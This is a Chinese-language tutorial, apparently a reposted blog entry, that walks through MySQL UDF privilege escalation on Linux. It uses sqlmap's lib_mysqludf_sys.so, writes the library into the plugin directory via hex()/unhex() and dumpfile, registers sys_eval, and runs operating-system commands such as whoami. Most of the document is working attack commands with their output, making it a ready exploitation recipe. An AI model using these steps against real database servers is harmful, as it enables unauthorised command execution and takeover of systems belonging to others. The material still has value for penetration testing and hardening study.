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HomeDatabaseMysql TutorialLinux UDF Mysql提权_MySQL

环境:

os:linux(bt5)

database:mysql

简述:

通过自定义库函数来实现执行任意的程序,这里只在linux下测试通过,具体到windows,所用的dll自然不同。

要求:

在mysql库下必须有func表,并且在skipgranttables开启的情况下,UDF会被禁止;

过程: 得到插件库路径 找对应操作系统的udf库文件 利用udf库文件加载函数并执行命令

1,得到插件库路径

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mysql> show variableslike"%plugin%";

+---------------+-----------------------+

| Variable_name | Value |

+---------------+-----------------------+

| plugin_dir| /usr/lib/mysql/plugin |

+---------------+-----------------------+

1 rowinset(0.00 sec)

2,找对应操作系统的udf库文件

因为自己测试,看了下自己系统的版本,64位

root@bt:~# uname -a

Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux

对于udf文件,在sqlmap工具中自带就有,只要找对应操作系统的版本即可

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root@bt:/pentest/database/sqlmap/udf/mysql# ls

linuxwindows

root@bt:/pentest/database/sqlmap/udf/mysql/linux# ls

root@bt:/pentest/database/sqlmap/udf/mysql/linux/64# ls

lib_mysqludf_sys.so

3,利用udf库文件加载函数并执行命令

首先要得到udf库文件的十六进制格式,可在本地通过

mysql> select hex(load_file('/pentest/database/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so')) into outfile '/tmp/udf.txt';

Query OK, 1 row affected (0.04 sec)

因为我测试时,使用自带账户,账户名mysql,并不是root,所以插件目录不可写,而实际中,一般udf提权都是用root权限启动的mysql程序,故,不存在目录权限不足,不能访问的情况。为了继续,修改目录权限

root@bt:~# chmod 777 /usr/lib/mysql/plugin

数据库中写入udf库到mysql库目录:

mysql>  select unhex('7F454C46020...') into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';

Query OK, 1 row affected (0.04 sec)

查看下这个udf库所支持的函数

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root@bt:~# nm -D /usr/lib/mysql/plugin/mysqludf.so

w _Jv_RegisterClasses

A __bss_start

w __cxa_finalize

w __gmon_start__

A _edata

A _end

T _fini

0000000000000ba0 T _init

U fgets

U fork

U free

U getenv

000000000000101a T lib_mysqludf_sys_info0000000000000da4 T lib_mysqludf_sys_info_deinit

T lib_mysqludf_sys_info_init

U malloc

U mmap

U pclose

U popen

U realloc

U setenv

U strcpy

U strncpy

0000000000000dac T sys_bineval0000000000000dab T sys_bineval_deinit0000000000000da8 T sys_bineval_init0000000000000e46 T sys_eval0000000000000da7 T sys_eval_deinit0000000000000f2e T sys_eval_init

T sys_exec

0000000000000da6 T sys_exec_deinit0000000000000f57 T sys_exec_init00000000000010f7 T sys_get0000000000000da5 T sys_get_deinit0000000000000fea T sys_get_init000000000000107a T sys_set00000000000010e8 T sys_set_deinit0000000000000f80 T sys_set_init

U sysconf

U system

U waitpid

最后,加载函数并执行:

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mysql>createfunctionsys_evalreturnsstring soname"mysqludf.so";

Query OK, 0rowsaffected (0.14 sec)

mysql>selectsys_eval('whoami');

+--------------------+

| sys_eval('whoami') |

+--------------------+

| mysql|

+--------------------+

1 rowinset(0.04 sec)

mysql>select*frommysql.func;

+----------+-----+-------------+----------+

|name    | ret | dl| type |

+----------+-----+-------------+----------+

| sys_eval | 0 | mysqludf.so |function|

+----------+-----+-------------+----------+

1 rowinset

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